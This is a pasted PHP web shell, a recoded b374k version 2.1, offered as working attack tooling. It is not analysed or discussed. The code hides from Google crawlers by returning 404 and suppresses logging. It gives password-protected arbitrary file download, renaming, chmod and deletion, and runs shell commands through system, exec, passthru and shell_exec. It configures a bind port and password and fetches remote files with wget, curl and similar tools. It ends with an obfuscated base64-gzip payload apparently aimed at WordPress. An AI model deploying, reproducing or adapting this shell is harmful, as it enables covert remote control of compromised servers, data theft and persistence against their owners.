· 8 years ago · Dec 07, 2017, 03:52 PM
1
2<?php
3
4/* (Web Shell b374k Recoded By KEFIEX404 IDBTE4M ") */
5$auth_pass = "b386fcd02ebe1b1cd56e4630c9ca609a";
6$color = "#df5";
7$default_action = 'FilesMan';
8$default_use_ajax = true;
9$default_charset = 'Windows-1251';
10@define('SELF_PATH', __FILE__);
11@setcookie("inject", "active", time() + 3600 * 24 * 7);
12if (strpos($_SERVER['HTTP_USER_AGENT'], 'Google') !== false) {
13 header('HTTP/1.0 404 Not Found');
14
15}
16@session_start();
17@error_reporting(0);
18@ini_set('error_log',NULL);
19@ini_set('log_errors',0);
20@ini_set('max_execution_time',0);
21@ini_set('output_buffering',0);
22@ini_set('display_errors', 0);
23@set_time_limit(0);
24@set_magic_quotes_runtime(0);
25@define('VERSION', '2.1');
26if( get_magic_quotes_gpc() ) {
27 function stripslashes_array($array) {
28 return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
29 }
30 $_POST = stripslashes_array($_POST);
31}
32function printLogin() {
33 ?>
34
35 <center>
36 <form method=post>
37 <input type=password name=pass>
38 </form></center>
39 <?php
40 exit;
41}
42if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
43 if( empty( $auth_pass ) ||
44 ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
45 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
46 else
47 printLogin();
48
49@ini_set('log_errors',0);
50@ini_set('output_buffering',0);
51
52if(isset($_GET['dl']) && ($_GET['dl'] != "")){
53 $file = $_GET['dl'];
54 $filez = @file_get_contents($file);
55 header("Content-type: application/octet-stream");
56 header("Content-length: ".strlen($filez));
57 header("Content-disposition: attachment; filename=\"".basename($file)."\";");
58 echo $filez;
59 exit;
60}
61elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")){
62 $file = $_GET['dlgzip'];
63 $filez = gzencode(@file_get_contents($file));
64 header("Content-Type:application/x-gzip\n");
65 header("Content-length: ".strlen($filez));
66 header("Content-disposition: attachment; filename=\"".basename($file).".gz\";");
67 echo $filez;
68 exit;
69}
70// view image
71if(isset($_GET['img'])){
72 @ob_clean();
73 $d = magicboom($_GET['y']);
74 $f = $_GET['img'];
75 $inf = @getimagesize($d.$f);
76 $ext = explode($f,".");
77 $ext = $ext[count($ext)-1];
78 @header("Content-type: ".$inf["mime"]);
79 @header("Cache-control: public");
80 @header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
81 @header("Cache-control: max-age=".(60*60*24*7));
82 @readfile($d.$f);
83 exit;
84}
85
86// server software
87$software = getenv("SERVER_SOFTWARE");
88// check safemode
89if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE; else $safemode = FALSE;
90// uname -a
91$system = @php_uname();
92// mysql
93function showstat($stat) {if ($stat=="on") {return "<b><font style='color:#00FF00'>ON</font></b>";}else {return "<b><font style='color:#DD4736'>OFF</font></b>";}}
94function testmysql() {if (function_exists('mysql_connect')) {return showstat("on");}else {return showstat("off");}}
95function testcurl() {if (function_exists('curl_version')) {return showstat("on");}else {return showstat("off");}}
96function testwget() {if (exe('wget --help')) {return showstat("on");}else {return showstat("off");}}
97function testperl() {if (exe('perl -h')) {return showstat("on");}else {return showstat("off");}}
98// check os
99if(strtolower(substr($system,0,3)) == "win") $win = TRUE;
100else $win = FALSE;
101// change directory
102if(isset($_GET['y'])){
103 if(@is_dir($_GET['view'])){
104 $pwd = $_GET['view'];
105 @chdir($pwd);
106 }
107 else{
108 $pwd = $_GET['y'];
109 @chdir($pwd);
110 }
111}
112//hdd
113function convertByte($s) {
114if($s >= 1073741824)
115return sprintf('%1.2f',$s / 1073741824 ).' GB';
116elseif($s >= 1048576)
117return sprintf('%1.2f',$s / 1048576 ) .' MB';
118elseif($s >= 1024)
119return sprintf('%1.2f',$s / 1024 ) .' KB';
120else
121return $s .' B';
122}
123
124// username, id, shell prompt and working directory
125if(!$win){
126 if(!$user = rapih(exe("whoami"))) $user = "";
127 if(!$id = rapih(exe("id"))) $id = "";
128 $prompt = $user." \$ ";
129 $pwd = @getcwd().DIRECTORY_SEPARATOR;
130}
131else {
132 $user = @get_current_user();
133 $id = $user;
134 $prompt = $user." >";
135 $pwd = realpath(".")."\\";
136 // find drive letters
137 $v = explode("\\",$d);
138 $v = $v[0];
139 foreach (range("A","Z") as $letter)
140 {
141 $bool = @is_dir($letter.":\\");
142 if ($bool)
143 {
144 $letters .= "<a href=\"?y=".$letter.":\\\">[ ";
145 if ($letter.":" != $v) {$letters .= $letter;}
146 else {$letters .= "<span class=\"gaya\">".$letter."</span>";}
147 $letters .= " ]</a> ";
148 }
149 }
150}
151
152function testoracle() {
153 if (function_exists('ocilogon')) { return showstat("on"); }
154 else { return showstat("off"); }
155 }
156
157function testmssql() {
158 if (function_exists('mssql_connect')) { return showstat("on"); }
159 else { return showstat("off"); }
160 }
161
162 function showdisablefunctions() {
163 if ($disablefunc=@ini_get("disable_functions")){ return "<span style='color:'><font color=#DD4736><b>".$disablefunc."</b></font></span>"; }
164 else { return "<span style='color:#00FF1E'><b>NONE</b></span>"; }
165 }
166
167if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
168else $posix = FALSE;
169// server ip
170$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
171// your ip ;-)
172$my_ip = $_SERVER['REMOTE_ADDR'];
173$admin_id=$_SERVER['SERVER_ADMIN'];
174$bindport = "13123";
175$bindport_pass = "b374k";
176
177// separate the working direcotory
178$pwds = explode(DIRECTORY_SEPARATOR,$pwd);
179$pwdurl = "";
180for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){
181 $pathz = "";
182 for($j = 0 ; $j <= $i ; $j++){
183 $pathz .= $pwds[$j].DIRECTORY_SEPARATOR;
184 }
185 $pwdurl .= "<a href=\"?y=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";
186}
187
188// rename file or folder
189if(isset($_POST['rename'])){
190 $old = $_POST['oldname'];
191 $new = $_POST['newname'];
192 @rename($pwd.$old,$pwd.$new);
193 $file = $pwd.$new;
194}
195if(isset($_POST['chmod'])){
196 $name = $_POST['name'];
197 $value = $_POST['newvalue'];
198if (strlen($value)==3){
199 $value = 0 . "" . $value;}
200 @chmod($pwd.$name,octdec($value));
201 $file = $pwd.$name;}
202
203if(isset($_POST['chmod_folder'])){
204 $name = $_POST['name'];
205 $value = $_POST['newvalue'];
206if (strlen($value)==3){
207 $value = 0 . "" . $value;}
208 @chmod($pwd.$name,octdec($value));
209 $file = $pwd.$name;}
210
211
212// print useful info
213$buff = "Software : <b>".$software."</b><br />";
214$buff .= "System OS : <b>".$system."</b><br />";
215if($id != "") $buff .= "ID : <b>".$id."</b><br />";
216$buff .= "PHP Version : <b>".phpversion()."</b> on <b>".php_sapi_name()."</b><br />";
217$buff .= "Server ip : <b>".$server_ip."</b> <span class=\"gaya\"> | </span> Your ip : <b>".$my_ip."</b><span class=\"gaya\"> | </span> Admin : <b>".$admin_id."</b><br />";
218$buff .= "Free Disk: "."<span style='color:#00FF1E'><b>".convertByte(disk_free_space("/"))." / ".convertByte(disk_total_space("/"))."</b></span><br />";
219if($safemode) $buff .= "Safemode: <span class=\"gaya\"><b>ON</b></span><br />";
220else $buff .= "Safemode: <span class=\"gaya\"><b>OFF</b></span><br />";
221$buff .= "Disabled Functions: ".showdisablefunctions()."<br />";
222$buff .= "MySQL: ".testmysql()." | MSSQL: ".testmssql()." | Oracle: ".testoracle()." | Perl: ".testperl()." | cURL: ".testcurl()." | WGet: ".testwget()."<br>";
223$buff .= "<font color=00ff00 ><b>".$letters." > ".$pwdurl."</b></font>";
224
225
226
227
228function rapih($text){
229 return trim(str_replace("<br />","",$text));
230}
231
232function magicboom($text){
233 if (!get_magic_quotes_gpc()) {
234 return $text;
235 }
236 return stripslashes($text);
237}
238
239function showdir($pwd,$prompt){
240 $fname = array();
241 $dname = array();
242 if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
243 else $posix = FALSE;
244 $user = "????:????";
245 if($dh = @scandir($pwd)){
246 foreach($dh as $file){
247 if(is_dir($file)){
248 $dname[] = $file;
249 }
250 elseif(is_file($file)){
251 $fname[] = $file;
252 }
253 }
254 }
255 else{
256 if($dh = @opendir($pwd)){
257 while($file = @readdir($dh)){
258 if(@is_dir($file)){
259 $dname[] = $file;
260 }
261 elseif(@is_file($file)){
262 $fname[] = $file;
263 }
264 }
265 @closedir($dh);
266 }
267 }
268
269
270 sort($fname);
271 sort($dname);
272 $path = @explode(DIRECTORY_SEPARATOR,$pwd);
273 $tree = @sizeof($path);
274 $parent = "";
275 $buff = "
276 <form action=\"?y=".$pwd."&x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
277 <table class=\"explore\">
278 <tr><th>name</th><th style=\"width:80px;\">size</th><th style=\"width:210px;\">owner:group</th><th style=\"width:80px;\">perms</th><th style=\"width:110px;\">modified</th><th style=\"width:190px;\">actions</th></tr>
279
280 ";
281 if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
282 else $parent = $pwd;
283
284 foreach($dname as $folder){
285 if($folder == ".") {
286 if(!$win && $posix){
287 $name=@posix_getpwuid(@fileowner($folder));
288 $group=@posix_getgrgid(@filegroup($folder));
289 $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
290 }
291 else {
292 $owner = $user;
293 }
294 $buff .= "<tr><td><a href=\"?y=".$pwd."\">$folder</a></td><td>LINK</td>
295 <td style=\"text-align:center;\">".$owner."</td><td><center>".get_perms($pwd)."</center></td>
296 <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td><td><span id=\"titik1\">
297
298 <a href=\"?y=$pwd&edit=".$pwd."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a></span>
299 <form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
300 <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
301 <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
302 <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
303 </form></td>
304
305 </tr>
306
307 ";
308 }
309 elseif($folder == "..") {
310 if(!$win && $posix){
311 $name=@posix_getpwuid(@fileowner($folder));
312 $group=@posix_getgrgid(@filegroup($folder));
313 $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
314 }
315 else {
316 $owner = $user;
317 }
318 $buff .= "<tr><td><a href=\"?y=".$parent."\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC'> $folder</a></td><td>LINK</td>
319 <td style=\"text-align:center;\">".$owner."</td>
320 <td><center>".get_perms($parent)."</center></td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td>
321
322 <td><span id=\"titik2\"><a href=\"?y=$pwd&edit=".$parent."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span>
323 <form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
324 <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
325 <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
326 <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
327 </form>
328 </td></tr>";
329 }
330 else {
331 if(!$win && $posix){
332 $name=@posix_getpwuid(@fileowner($folder));
333 $group=@posix_getgrgid(@filegroup($folder));
334 $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
335 }
336 else {
337 $owner = $user;
338 }
339 $buff .= "<tr><td><a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAXNSR0IArs4c6QAAAAJiS0dEAP+Hj8y/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQoz6WRvUpDURCEvzmuwR8s8gr2ETvtLSRaKj6ArZU+VVAEwSqvJIhIwiX33nPO2IgayK2cbtmZWT4W/iv9HeacA697NQRY281Fr0du1hJPt90D+xgc6fnwXjC79JWyQdiTfOrf4nk/jZf0cVenIpEQImGjQsVod2cryvH4TEZC30kLjME+KUdRl24ZDQBkryIvtOJggLGri+hbdXgd90e9++hz6rR5jYtzZKsIDzhwFDTQDzZEsTz8CRO5pmVqB240ucRbM7kejTcalBfvn195EV+EajF1hgAAAABJRU5ErkJggg==' /> [ $folder ]</b></a>
340
341 <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
342 <input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
343 <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" />
344 <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
345 <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" />
346 </form><td>DIR</td><td style=\"text-align:center;\">".$owner."</td>
347 <td><center>
348 <a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\">".get_perms($pwd.$folder)."</a>
349
350 <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
351 <input type=\"hidden\" name=\"name\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
352 <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."\" />
353 <input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" />
354 <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
355 onclick=\"tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\" /></form></center></td>
356 <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td><td><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">rename</a> | <a href=\"?y=$pwd&fdelete=".$pwd.$folder."\">delete</a></td></tr>";
357 }
358 }
359
360 foreach($fname as $file){
361 $full = $pwd.$file;
362 if(!$win && $posix){
363 $name=@posix_getpwuid(@fileowner($folder));
364 $group=@posix_getgrgid(@filegroup($folder));
365 $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
366 }
367 else {
368 $owner = $user;
369 }
370 $buff .= "<tr><td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&view=$full\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' /> $file</b></a>
371
372 <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
373 <input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
374 <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" />
375 <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
376 <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" />
377 </form></td><td>".ukuran($full)."</td><td style=\"text-align:center;\">".$owner."</td><td><center>
378 <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\">".get_perms($full)."</a>
379
380 <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
381<input type=\"hidden\" name=\"name\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
382<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($full)), -4)."\" />
383<input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" />
384<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\" /></form></center></td>
385 <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td>
386 <td><a href=\"?y=$pwd&edit=$full\">edit</a> | <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">rename</a> | <a href=\"?y=$pwd&delete=$full\">delete</a> | <a href=\"?y=$pwd&dl=$full\">download</a> (<a href=\"?y=$pwd&dlgzip=$full\">gzip</a>)</td></tr>";
387 }
388 $buff .= "</table>";
389 return $buff;
390}
391
392function ukuran($file){
393 if($size = @filesize($file)){
394 if($size <= 1024) return $size;
395 else{
396 if($size <= 1024*1024) {
397 $size = @round($size / 1024,2);;
398 return "$size kb";
399 }
400 else {
401 $size = @round($size / 1024 / 1024,2);
402 return "$size mb";
403 }
404 }
405 }
406 else return "???";
407}
408
409function exe($cmd){
410 if(function_exists('system')) {
411 @ob_start();
412 @system($cmd);
413 $buff = @ob_get_contents();
414 @ob_end_clean();
415 return $buff;
416 }
417 elseif(function_exists('exec')) {
418 @exec($cmd,$results);
419 $buff = "";
420 foreach($results as $result){
421 $buff .= $result;
422 }
423 return $buff;
424 }
425 elseif(function_exists('passthru')) {
426 @ob_start();
427 @passthru($cmd);
428 $buff = @ob_get_contents();
429 @ob_end_clean();
430 return $buff;
431 }
432 elseif(function_exists('shell_exec')){
433 $buff = @shell_exec($cmd);
434 return $buff;
435 }
436}
437
438function tulis($file,$text){
439 $textz = gzinflate(base64_decode($text));
440 if($filez = @fopen($file,"w"))
441 {
442 @fputs($filez,$textz);
443 @fclose($file);
444 }
445}
446
447function ambil($link,$file) {
448 if($fp = @fopen($link,"r")){
449 while(!feof($fp)) {
450 $cont.= @fread($fp,1024);
451 }
452 @fclose($fp);
453 $fp2 = @fopen($file,"w");
454 @fwrite($fp2,$cont);
455 @fclose($fp2);
456 }
457}
458
459function which($pr){
460 $path = exe("which $pr");
461 if(!empty($path)) { return trim($path); } else { return trim($pr); }
462}
463
464function download($cmd,$url){
465 $namafile = basename($url);
466 switch($cmd) {
467 case 'wwget': exe(which('wget')." ".$url." -O ".$namafile);break;
468 case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile);break;
469 case 'wfread' : ambil($wurl,$namafile);break;
470 case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break;
471 case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break;
472 case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break;
473 case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break;
474 default: break;
475 }
476 return $namafile;
477}
478
479function get_perms($file)
480{
481 if($mode=@fileperms($file)){
482 $perms='';
483 $perms .= ($mode & 00400) ? 'r' : '-';
484 $perms .= ($mode & 00200) ? 'w' : '-';
485 $perms .= ($mode & 00100) ? 'x' : '-';
486 $perms .= ($mode & 00040) ? 'r' : '-';
487 $perms .= ($mode & 00020) ? 'w' : '-';
488 $perms .= ($mode & 00010) ? 'x' : '-';
489 $perms .= ($mode & 00004) ? 'r' : '-';
490 $perms .= ($mode & 00002) ? 'w' : '-';
491 $perms .= ($mode & 00001) ? 'x' : '-';
492 return $perms;
493 }
494 else return "??????????";
495}
496
497function clearspace($text){
498 return str_replace(" ","_",$text);
499}
500function w($dir,$perm) {
501 if(!is_writable($dir)) {
502 return "<font color=red>".$perm."</font>";
503 } else {
504 return "<font color=lime>".$perm."</font>";
505 }
506}
507function r($dir,$perm) {
508 if(!is_readable($dir)) {
509 return "<font color=red>".$perm."</font>";
510 } else {
511 return "<font color=lime>".$perm."</font>";
512 }
513}
514
515
516$wpress="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";
